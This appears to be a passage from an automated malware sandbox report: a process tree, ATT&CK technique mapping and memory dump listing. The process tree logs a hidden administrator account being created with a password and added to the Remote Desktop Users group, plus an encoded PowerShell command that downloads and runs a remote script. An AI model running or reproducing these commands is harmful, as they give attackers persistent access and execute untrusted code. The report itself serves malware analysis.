- C:\Windows\system32\net.exe
  net.exe user wgautilacc lLB8vtKv /add
  2⤵
  PID:3956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc lLB8vtKv /add
    3⤵
    PID:3976

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
1⤵
PID:1396
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
  2⤵
  PID:2492
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" wgautilacc /ADD
    3⤵
    PID:2252

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
1⤵
PID:2244
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
  2⤵
  PID:3628
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" RJMQBVDN$ /ADD
    3⤵
    PID:2972

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" wgautilacc /ADD
1⤵
PID:4056
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" wgautilacc /ADD
  2⤵
  PID:2164
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" wgautilacc /ADD
    3⤵
    PID:768

C:\Windows\System32\cmd.exe
cmd /C net.exe user wgautilacc lLB8vtKv
1⤵
PID:3056
- C:\Windows\system32\net.exe
  net.exe user wgautilacc lLB8vtKv
  2⤵
  PID:2692
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc lLB8vtKv
    3⤵
    PID:2096

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:2700
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  PID:3436

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:3024
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  PID:3148

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:3896
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:2244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Program Files directory
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    PID:404

C:\Windows\System32\cmd.exe
cmd.exe /C net user wgautilacc 1234
1⤵
PID:3056
- C:\Windows\system32\net.exe
  net user wgautilacc 1234
  2⤵
  PID:2756
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user wgautilacc 1234
    3⤵
    PID:580

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/404-256-0x0000019017F40000-0x0000019017F42000-memory.dmp

Filesize
8KB

Download
memory/404-258-0x0000019017F46000-0x0000019017F48000-memory.dmp

Filesize
8KB

Download
memory/404-259-0x0000019017F48000-0x0000019017F49000-memory.dmp

Filesize
4KB

Download
memory/404-257-0x0000019017F43000-0x0000019017F45000-memory.dmp

Filesize
8KB

Download
memory/768-192-0x00000198C5530000-0x00000198C5532000-memory.dmp

Filesize
8KB

Download
memory/768-193-0x00000198C5533000-0x00000198C5535000-memory.dmp

Filesize
8KB

Download
memory/768-215-0x00000198C5536000-0x00000198C5538000-memory.dmp

Filesize
8KB

Download
memory/1308-127-0x0000021B62B90000-0x0000021B62B91000-memory.dmp

Filesize
4KB

Download
memory/2728-143-0x000002B87E5C0000-0x000002B87E5C1000-memory.dmp

Filesize
4KB

Download
memory/2728-180-0x000002B864398000-0x000002B864399000-memory.dmp

Filesize
4KB

Download
memory/2728-148-0x000002B87E770000-0x000002B87E771000-memory.dmp

Filesize
4KB

Download
memory/2728-157-0x000002B864390000-0x000002B864392000-memory.dmp

Filesize
8KB

Download
memory/2728-158-0x000002B864393000-0x000002B864395000-memory.dmp

Filesize
8KB

Download
memory/2728-159-0x000002B864396000-0x000002B864398000-memory.dmp

Filesize
8KB

Download
memory/2728-164-0x000002B87E700000-0x000002B87E701000-memory.dmp

Filesize
4KB

Download
memory/2728-170-0x000002B87ECB0000-0x000002B87ECB1000-memory.dmp

Filesize
4KB

Download
memory/2728-171-0x000002B87F040000-0x000002B87F041000-memory.dmp

Filesize
4KB

Download
memory/3052-221-0x0000011FA26E0000-0x0000011FA26E2000-memory.dmp

Filesize
8KB

Download
memory/3052-223-0x0000011FA26E6000-0x0000011FA26E8000-memory.dmp

Filesize
8KB

Download
memory/3052-224-0x0000011FA26E8000-0x0000011FA26EA000-memory.dmp

Filesize
8KB

Download
memory/3052-222-0x0000011FA26E3000-0x0000011FA26E5000-memory.dmp

Filesize
8KB

Download
memory/3148-218-0x00000234F4383000-0x00000234F4385000-memory.dmp

Filesize
8KB

Download
memory/3148-219-0x00000234F4386000-0x00000234F4388000-memory.dmp

Filesize
8KB

Download
memory/3148-217-0x00000234F4380000-0x00000234F4382000-memory.dmp

Filesize
8KB

Download
memory/4000-130-0x000001A250180000-0x000001A25065B000-memory.dmp

Filesize
4.9MB

Download
memory/4000-133-0x000001A277F40000-0x000001A277F42000-memory.dmp

Filesize
8KB

Download
memory/4000-134-0x000001A277F43000-0x000001A277F45000-memory.dmp

Filesize
8KB

Download
memory/4000-131-0x000001A278210000-0x000001A2784BA000-memory.dmp

Filesize
2.7MB

Download
memory/4000-135-0x000001A277F45000-0x000001A277F46000-memory.dmp

Filesize
4KB

Download
memory/4000-136-0x000001A277F46000-0x000001A277F47000-memory.dmp

Filesize
4KB

Download
memory/4000-128-0x000001A250180000-0x000001A25065B000-memory.dmp

Filesize
4.9MB

Download